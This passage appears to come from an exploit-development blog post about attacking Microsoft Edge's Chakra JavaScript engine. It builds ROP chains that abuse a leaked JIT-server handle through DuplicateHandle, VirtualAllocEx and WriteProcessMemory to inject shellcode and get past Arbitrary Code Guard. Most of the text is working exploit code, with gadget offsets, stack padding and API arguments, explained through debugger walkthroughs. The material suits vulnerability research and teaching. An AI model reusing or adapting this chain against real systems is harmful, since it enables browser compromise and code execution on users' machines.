Per the __fastcall calling convention, every argument after the first four are placed onto the stack. Because we have an arbitrary write primitive, we can just directly write our next 3 arguments for DuplicateHandle to the stack - we don’t need any ROP gadgets to pop any further arguments. With this being said, we will go ahead and continue to use our ROP chain to actually place DuplicateHandle into the RAX register. We then will perform a jmp rax instruction to kick our function call off. So, for now, let’s focus on getting the address of kernelbase!DuplicateHandle into RAX. This begins with a pop rax instruction. As we can see below, RAX, after the pop rax, contains kernelbase!DuplicateHandle.

After RAX is filled with kernelbase!DuplicateHandle, the jmp rax instruction is queued for execution.

Let’s quickly recall our ROP chain snippet.

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

Let’s break down what we are seeing above:

  1. RAX contains kernelbase!DuplicateHandle
  2. kernelbase!DuplicateHandle is a function. When it is called legitimately, it ends in a ret instruction to return execution to where it was called (this is usually a return to the stack)
  3. Our “return” address jumps over our “shadow space”. Remember, __fastcall requires the 5th parameter, and subsequent parameters, begin at RSP + 0x20, RSP + 0x28, RSP + 0x38, etc. The space between RSP and RSP + 0x20, which is unused, is referred to as “shadow space”
  4. Our final three parameters are written directly to the stack

Step one is very self explanatory. Let’s explain steps two through four quickly. When DuplicateHandle is called legitimately, execution can be seen below.

Prior to the call:

After the call:

Notice what our call instruction does under the hood. call pushes the return address on the stack for DuplicateHandle. When this push occurs, it also changes the state of the stack so that every item is pushed down 0x8 bytes. Essentially, when call happens RSP becomes RSP + 0x8, and so forth. This is very important to us.

Recall that we do not actually call DuplicateHandle. Instead, we perform a jmp to it. Since we are using jmp, this doesn’t push a return address onto the stack for execution to return to. Because of this, we supply our own return address located at RSP when the jmp occurs - this “mimics” what call does. Additionally, this also means we have to push our last three parameters 0x8 bytes down the stack. Again, call would normally do this for us - but since call isn’t used here, we have to manually add our return address an manually increment the stack by 0x8. This is because although __fastcall requires 5th and subsequent parameters to start at RSP + 0x20, internally the calling convention knows when the call is performed, the parameters will actually be shifted by 0x8 bytes due to the pushed ret address on the stack. So tl;dr - although __fastcall says we put parameters at RSP + 0x20, we actually need to start them at RSP + 0x28.

The above will be true for all subsequent ROP chains.

So, after we get DuplicateHandle into RAX we then can directly write our final three arguments directly to the stack leveraging our arbitrary write primitive.

Our call to DuplicateHandle is in its final state:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// NULL since we will set dwOptions to DUPLICATE_SAME_ACCESS
	0,			// FALSE (new handle isn't inherited)
	DUPLICATE_SAME_ACCESS	// Duplicate handle has same access as source handle (source handle is an all access handle, e.g. a pseudo handle), meaning the duplicated handle will be PROCESS_ALL_ACCESS
);

From here, we should be able to step into the function call to DuplicateHandle, execute it.

We can use pt to tell WinDbg to execute DuplicateHandle and pause when we hit the ret to exit the function

At this point, our call should have been successful! As we see above, a value was placed in our “output buffer” to receive the duplicated handle. This value is 0x0000000000000ae8. If we run Process Hacker as an administrator, we can confirm that this is a handle to the JIT server with PROCESS_ALL_ACCESS!

Now that our function has succeeded, we need to make sure we return back to the stack in a manner that allows us to keep execution our ROP chain.

When the ret is executed we hit our “fake return address” we placed on the stack before the call to DuplicateHandle. Our return address will simply jump over the shadow space and our last three DuplicateHandle parameters, and allow us to keep executing further down the stack (where subsequent ROP chains will be).

At this point we have successfully obtained a PROCESS_ALL_ACCESS handle to the JIT server process. With this handle, we can begin the process of compromising the JIT process, where ACG is disabled.

VirtualAllocEx ROP Chain

Now that we possess a handle to the JIT server with enough permissions to perform things like memory operations, let’s now use this PROCESS_ALL_ACCESS handle to allocate some memory within the JIT process. However, before examining the ROP chain, let’s recall the prototype for VirtualAllocEx:

The function call will be as follows for us:

VirtualAllocEx(
	fulljitHandle, 			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process
	sizeof(shellcode),		// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	PAGE_READWRITE			// Make our memory readable and writable
);

Let’s firstly break down why our call to VirtualAllocEx is constructed the way it is. The call to the function is very straight forward - we are essentially allocating a region of memory the size of our shellcode in the JIT process using our new handle to the JIT process. The main thing that sticks out to us is the PAGE_READWRITE allocation protection. As we recall, the JIT process doesn’t have ACG enabled - meaning it is quite possible to have dynamic RWX memory in such a process. However, there is a slight caveat and that is when it comes to remote injection. ACG is documented to let processes that don’t have ACG enabled to inject RWX memory into a process which does have ACG enabled. After all, ACG was created with Microsoft Edge in mind. Since Edge uses an out-of-process JIT server architecture, it would make sense that the process not protected by ACG (the JIT server) can inject into the process with ACG (the content process). However, a process with ACG cannot inject into a process without ACG using RWX memory. Because of this, we actually will place our shellcode into the JIT server using RW permissions. Then, we will eventually copy a ROP chain into the JIT process which marks the shellcode as RWX. This is possible, as ACG is disabled. The main caveat here is that it cannot directly and remotely be marked as RWX. At first, I tried allocating with RWX memory, thinking I could just do simple process injection. However, after testing and the API call failing, it turns our RWX memory can’t directly be allocated when the injection stems from a process protected by ACG to a non-ACG process. This will all make more sense later, if it doesn’t now, when we copy our ROP chain in to the JIT process.

Here is the ROP chain we will be working with (we will include our DuplicateHandle chain for continuity. Every ROP chain from here on out will be included with the previous one to make readability a bit better):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

Let’s start by setting a breakpoint on our first ROP gadget of pop rax ; ret, which is located at chakra_base + 0x577fd4. Our DuplicateHandle ROP chain uses this gadget two times. So, when we hit our breakpoint, we will hit g in WinDbg to jump over these two calls in order to debug our VirtualAllocEx ROP chain.

This ROP chain starts out by attempting to act on the R9 register to load in the flAllocationType parameter. This is done via the mov r9, rcx ; cmp r8d, [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret ROP gadget. As we previously discussed, the RCX register is used to copy the final parameter into R9. This means we need to place MEM_COMMIT | MEM_RESERVE into the RCX register, and let our target gadget copy the value into R9. However, we know that the RAX register is dereferenced. This means our first few gadgets:

  1. Place a valid pointer in RAX to bypass the cmp r8d, [rax] check
  2. Place 0x3000 (MEM_COMMIT | MEM_RESERVE) into RCX
  3. Copy said value in R9 (along with an add rsp, 0x28 which we know how to deal with by adding 0x28 bytes of padding)

Our call to VirtualAllocEx is now in the following state:

VirtualAllocEx(
	-
	-
	-
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	-
);

After R9 gets filled properly, our next step is to work on the dwSize parameter, which will go in R8. We can directly copy a value into R8 using the following ROP gadget: mov r8, rdx ; add rsp, 0x48 ; ret. All we have to do is place our intended value into RDX prior to this gadget, and it will be copied into R8 (along with an add rsp, 0x48 - which we know how to deal with by adding some padding before our ret). The value we are going to place in R9 is 0x1000 which isn’t the exact size of our shellcode, but it will give us a good amount of space to work with as 0x1000 is more room than we actually need.

Our call to VirtualAllocEx is now in the following state:

VirtualAllocEx(
	-
	-
	sizeof(shellcode),		// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	-
);

The next parameter we will focus on is the lpAddress parameter. In this case, we are setting this value to NULL (or 0 in our case), as we want the OS to determine where our private allocation will be within the JIT process. This is done by simply popping a 0 value, which we can directly write to the stack after our pop rdx gadget using the write primitive, into RDX.

After executing the above ROP gadgets, our call to VirtualAllocEx is in the following state:

VirtualAllocEx(
	-
	NULL,				// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process
	sizeof(shellcode),		// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	-
);

At this point we have supplied 3/5 arguments for VirtualAllocEx. Our second-to-last parameter will be the hProcess parameter - which is our now duplicated-handle to the JIT server with PROCESS_ALL_ACCESS permissions. Here is how this code snippet looks:

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

We can notice two things here - recall we stored the handle in an empty address within .data of chakra.dll. We simply can pop this pointer into RCX, and then dereference it to get the raw handle value. This arbitrary dereference gadget, where we can extract the value RCX points to, is followed by a write operation at the memory address in RAX + 0x20. Recall we already have placed a writable address into RAX, so we simply can move on knowing we “bypass” this instruction, as the write operation won’t cause an access violation - the memory in RAX is already writable.

Our call to VirtualAllocEx is now in the following state:

VirtualAllocEx(
	fulljitHandle, 			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process
	sizeof(shellcode),		// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	-
);

The last thing we need to do is twofold:

  1. Place VirtualAllocEx into RAX
  2. Directly write our last parameter at RSP + 0x28 (we have already explained why RSP + 0x28 instead of RSP + 0x20) (this is done via our arbitrary write and not via a ROP gadget)
  3. jmp rax to kick off the call to VirtualAllocEx

Again, as a point of reiteration, we can see we simply can just write our last parameter to RSP + 0x28 instead of using a gadget to mov [rsp+0x28], reg.

write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();

When this occurs, our call will be in the following (final) state:

VirtualAllocEx(
	fulljitHandle, 			// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	NULL,				// Setting to NULL. Let VirtualAllocEx decide where our memory will be allocated in the JIT process
	sizeof(shellcode),		// Our shellcode is currently in the .data section of chakra.dll in the content process. Tell VirtualAllocEx the size of our allocation we want to make in the JIT process is sizeof(shellcode)
	MEM_COMMIT | MEM_RESERVE,	// Reserve our memory and commit it to memory in one go
	PAGE_READWRITE			// Make our memory readable and writable
);

We can step into the jump with t and then use pt to hit the ret of VirtualAllocEx. At this point, as is generally true in assembly, RAX should contain the return value of VirtualAllocEx - which should be a pointer to a block of memory within the JIT process, size 0x1000, and RW.

If we try to examine this address within the debugger, we will see it is invalid memory.

However, if we attach a new WinDbg session (without closing out the current one) to the JIT process (we have already shown multiple times in this blog post how to identify the JIT process) we can see this memory is committed.

As we can see, our second ROP chain was successful and we have allocated a page of RW memory within the JIT process. We will eventually write our shellcode into this allocation and use a final-stage ROP chain we will inject into the JIT process to mark this region as RWX.

WriteProcessMemory ROP Chain

At this point in our exploit, we have seen our ability to control memory within the remote JIT process - where ACG is disabled. As previously shown, we have allocated memory within the JIT process. Additionally, towards the beginning of the blog, we have stored our shellcode in the .data section of chakra.dll (see “Shellcode” section). We know this shellcode will never become executable in the current content process (where our exploit is executing) - so we need to inject it into the JIT process, where ACG is disabled. We will setup a call to WriteProcessMemory in order to write our shellcode into our new allocation within the JIT server.

Here is how our call to WriteProcessMemory will look:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(VirtualAllocEx_Allocation),		// Address of our return value from VirtualAllocEx (where we want to write our shellcode)
	addressof(data_chakra_shellcode_location),	// Address of our shellcode in the content process (.data of chakra) (what we want to write (our shellcode))
	sizeof(shellcode)				// Size of our shellcode
	NULL 						// Optional
);

Here is the instrumentation of our ROP chain (including DuplicateHandle and VirtualAllocEx for continuity purposes):

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
